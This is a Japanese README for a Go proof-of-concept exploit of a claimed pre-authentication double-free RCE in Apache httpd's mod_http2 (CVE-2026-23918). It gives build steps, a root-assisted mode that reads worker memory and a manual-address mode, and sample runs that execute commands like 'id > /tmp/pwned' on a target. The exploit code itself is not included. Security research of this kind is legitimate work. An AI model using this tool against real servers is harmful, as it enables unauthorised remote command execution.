
Apache httpd の mod_http2 ストリームクリーンアップにおける double-free が、認証前の RCE につながる
このリポジトリには、mod_http2 を使用する Apache httpd に影響を与える事前認証メモリ破壊シナリオに対する、Go で書かれた概念実証(PoC)実装が含まれています。このリポジトリのコードは、脆弱性のあるターゲットに対するスプレー&トリガー方式を示しており、許可されたセキュリティ研究、テスト、および防御分析を目的としています。
このプロジェクトは、CVE-2026-23918 の PoC エクスプロイトに焦点を当てており、exploit_poc.go に単一ファイルの実装を提供します。このプログラムは以下のことを行います:
このリポジトリは、第三者システムに対する不正使用を意図したものではありません。
PoC をビルドまたは実行する前に、以下が利用可能であることを確認してください:
以下のコマンドでバイナリをビルドします:
git clone https://github.com/gagaltotal/CVE-2026-23918-Double-free-Apache-httpd-mod_http2
cd CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod init CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod tidy
go run exploit_poc.go
go build -o exploit exploit_poc.go
これにより、プロジェクトルートに exploit という名前の実行可能ファイルが生成されます。


この PoC は2つの運用モードをサポートしています:
このモードは root アクセスを必要とし、ターゲットの Apache ワーカープロセスから必要なメモリアドレスを自動的に抽出します。
sudo ./exploit \
--pid 1234 \
--host 192.168.1.100 \
--port 443 \
--cmd "id > /tmp/pwned"
このモードでは、system 関数とスコアボードリクエストスロットのアドレスを手動で指定する必要があります。
./exploit \
--host 192.168.1.100 \
--port 443 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "id > /tmp/pwned"
主なオプションは以下のとおりです:
--host - ターゲットのホスト名または IP アドレス--port - ターゲットのポート(デフォルト: 443)--workers - スプレーワーカースレッドの数(デフォルト: 32)--cmd - ターゲット上で実行するコマンド--pid - 自動メモリアドレス抽出用の Apache ワーカープロセス ID--system - 手動モードでの system シンボルのアドレス--scoreboard - 手動モードでのスコアボードリクエストスロットのアドレスsudo ./exploit --pid 1234 --host 10.0.0.20 --cmd "whoami"
./exploit \
--host 10.0.0.20 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "uname -a"
このリポジトリは、教育目的および防御的セキュリティ評価のために提供されています。管理された許可環境の外での使用は推奨されず、適用される法律またはポリシーに違反する可能性があります。